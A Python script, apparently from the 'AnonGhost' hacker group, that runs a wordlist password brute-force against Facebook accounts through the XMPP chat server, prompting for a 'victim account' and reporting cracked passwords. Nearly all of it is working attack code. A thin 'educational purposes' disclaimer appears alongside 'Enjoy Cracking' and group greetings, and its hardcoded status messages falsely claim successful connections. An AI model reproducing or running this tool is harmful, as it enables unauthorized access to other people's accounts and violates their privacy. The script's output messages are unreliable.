[+] Facebook XMPP Chat Protocol Bruteforce [+]

#!/usr/bin/python
#Install SleekXMPP & xmpppy Modules
#Priv88888 and not for kidz -(18)
#This program is only for educational purposes only.
#Changing Description of this Script won't make you the coder ^_^ !
#Don't Attack people facebook account's it's illegal !
#If you want to HaCk into someone's account, you must have the permission of the user.
#Mauritania Attacker is not responsible.
#usage:script.py username then type wordlist file

import xmpp
import sys
import urllib,re
import time
import random

print """

  ______ ____         _____                _
 |  ____|  _ \       / ____|              | |
 | |__  | |_) |_____| |     _ __ __ _  ___| | _____ _ __
 |  __| |  _ <______| |    | '__/ _` |/ __| |/ / _ \ '__|
 | |    | |_) |     | |____| | | (_| | (__|   <  __/ |
 |_|    |____/       \_____|_|  \__,_|\___|_|\_\___|_|

        # Private Ghost Password Priv8
        #We Still Da Kingz of Cyber Haterz \!/
        # Coded By Mauritania Attacker & X-Wanted
        # Greetz To All Members Of AnonGhost Team ;)
        # Enjoy Cracking ^__^
                #usage:script.py username then type wordlist file

                                                    """




login = raw_input("Enter username of victim account : ")


password_list   = open(sys.argv[1],"r")

login=login+"@chat.facebook.com"


print "@Connecting To Facebook Terminal Server... "
print "~~Connection Has Been Establishing Successfully To The Server~~"
print "Negotiating With The Protocol..."
print "There was no error with Port..."
print "\!/ You Are Successfully Connected Enj0y \!/..."
print "\!/ Attack Has Been Started Be Patient... \!/..."


for pwd in password_list:

    sys.stdout.write(".")
    sys.stdout.flush()

    pwd=pwd.strip('\n')

    jid = xmpp.protocol.JID(login)
    cl  = xmpp.Client(jid.getDomain(), debug=[])

    if cl.connect(('chat.facebook.com',5222)):
        print "~~Injecting Password~~"

    else:
        print "[+]Successed[+]"

    print pwd

    if cl.auth(jid.getNode(), pwd):
        cl.sendInitPresence()
        print "The Account Has Been Cracked ^__^ "," Password Found ==> : ",pwd

    cl.disconnect()
    time.sleep(2)